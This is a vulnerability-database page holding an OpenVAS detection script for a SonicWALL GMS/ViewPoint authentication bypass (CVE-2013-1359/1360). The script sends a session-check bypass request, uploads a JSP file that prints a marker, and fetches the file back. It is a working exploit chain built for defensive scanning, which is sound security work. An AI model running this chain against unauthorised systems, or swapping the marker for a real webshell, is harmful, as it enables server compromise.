Lucene search
+L

Multiple SonicWALL Products Authentication Bypass Vulnerability

🗓️ 18 Jan 2013 00:00:00Reported by Copyright (C) 2013 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 38 Views

Multiple SonicWALL Products Authentication Bypass Vulnerability. Allows attackers to gain administrative access and execute arbitrary code

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass
19 Jan 201300:00
zdt
zdt
zdt
SonicWALL GMS 6 Arbitrary File Upload Vulnerability
24 Jan 201300:00
zdt
circl
Circl
CVE-2013-1359
24 Jan 201300:00
circl
checkpoint_advisories
Check Point Advisories
Multiple SonicWALL Products Authentication Bypass - Ver2 (CVE-2013-1359)
31 Mar 201400:00
checkpoint_advisories
cve
CVE
CVE-2013-1359
11 Feb 202016:42
cve
cve
CVE
CVE-2013-1360
11 Feb 202015:44
cve
cvelist
Cvelist
CVE-2013-1359
11 Feb 202016:42
cvelist
cvelist
Cvelist
CVE-2013-1360
11 Feb 202015:44
cvelist
exploitdb
Exploit DB
SonicWALL GMS/Viewpoint/Analyzer - Authentication Bypass
18 Jan 201300:00
exploitdb
exploitdb
Exploit DB
SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x - Remote Command Execution
18 Jan 201300:00
exploitdb
Rows per page
# Copyright (C) 2013 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103642");
  script_cve_id("CVE-2013-1359", "CVE-2013-1360");
  script_version("2022-04-26T08:12:14+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2022-04-26 08:12:14 +0000 (Tue, 26 Apr 2022)");
  script_tag(name:"creation_date", value:"2013-01-18 13:01:11 +0100 (Fri, 18 Jan 2013)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-14 18:13:00 +0000 (Fri, 14 Feb 2020)");
  script_name("Multiple SonicWALL Products Authentication Bypass Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/57445");
  script_xref(name:"URL", value:"http://sotiriu.de/adv/NSOADV-2013-001.txt");

  script_tag(name:"summary", value:"Multiple SonicWALL products including Global Management System (GMS),
  ViewPoint, Universal Management Appliance (UMA), and Analyzer are
  prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP POST and GET requests and checks
  the responses.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
  more information.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to gain administrative access to
  the web interface. This allows attackers to execute arbitrary code with SYSTEM privileges that
  could fully compromise the system.");

  script_tag(name:"affected", value:"GMS/Analyzer/UMA 7.0.x

  GMS/ViewPoint/UMA 6.0.x

  GMS/ViewPoint/UMA 5.1.x

  GMS/ViewPoint 5.0.x

  GMS/ViewPoint 4.1.x");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:80);

url = "/";
buf = http_get_cache(item:url, port:port);

if(!buf || "<title>sonicwall" >!< tolower(buf))
  exit(0);

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = string(
  "POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\r\n",
  "TE: deflate,gzip;q=0.3\r\n",
  "Connection: TE, close\r\n",
  "Host: ", host, "\r\n",
  "User-Agent: ", useragent, "\r\n",
  "Content-Length: 90\r\n",
  "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
  "\r\n",
  "num=123456&action=show_diagnostics&task=search&item=application_log&criteria=*.*&width=500\r\n");

result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if("<OPTION VALUE" >!< result)
  exit(0);

lines = split(result);

foreach line (lines) {
  if("<OPTION VALUE" >< line) {
    a = split(line, sep:'"', keep:FALSE);
    if("logs" >< a[1]) {
      b = split(a[1], sep:"logs", keep:FALSE);
      gms_path = b[0];
      if(!isnull(gms_path))
        break;
    }
  }
}

if(isnull(gms_path))
  exit(0);

if(gms_path =~ "^/") {
  gms_path = gms_path + "webapps/appliance/";
} else {
  gms_path = gms_path + 'webapps\\appliance\\';
}

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".jsp";
jsp_print = vtstrings["lowercase_rand"];
jsp = '<% out.println( "' + jsp_print  + '" ); %>';

len = 325 + strlen(jsp) + strlen(gms_path) + strlen(file);

req = string(
  "POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\r\n",
  "TE: deflate,gzip;q=0.3\r\n",
  "Connection: TE, close\r\n",
  "Host: ", host, "\r\n",
  "User-Agent: ", useragent, "\r\n",
  "Content-Length: ", len, "\r\n",
  "Content-Type: multipart/form-data; boundary=xYzZY\r\n",
  "\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="action"',"\r\n",
  "\r\n",
  "file_system\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="task"',"\r\n",
  "\r\n",
  "uploadFile\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="searchFolder"',"\r\n",
  "\r\n",
  gms_path, "\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="uploadFileName"; filename="', file, '"', "\r\n",
  "Content-Type: text/plain\r\n",
  "\r\n",
  jsp, "\r\n",
  "\r\n",
  "--xYzZY--\r\n");

result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!result || result !~ "^HTTP/1\.[01] 200")
  exit(0);

url = "/appliance/" + file;
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(jsp_print >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Apr 2022 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
CVSS 210
EPSS0.89402
38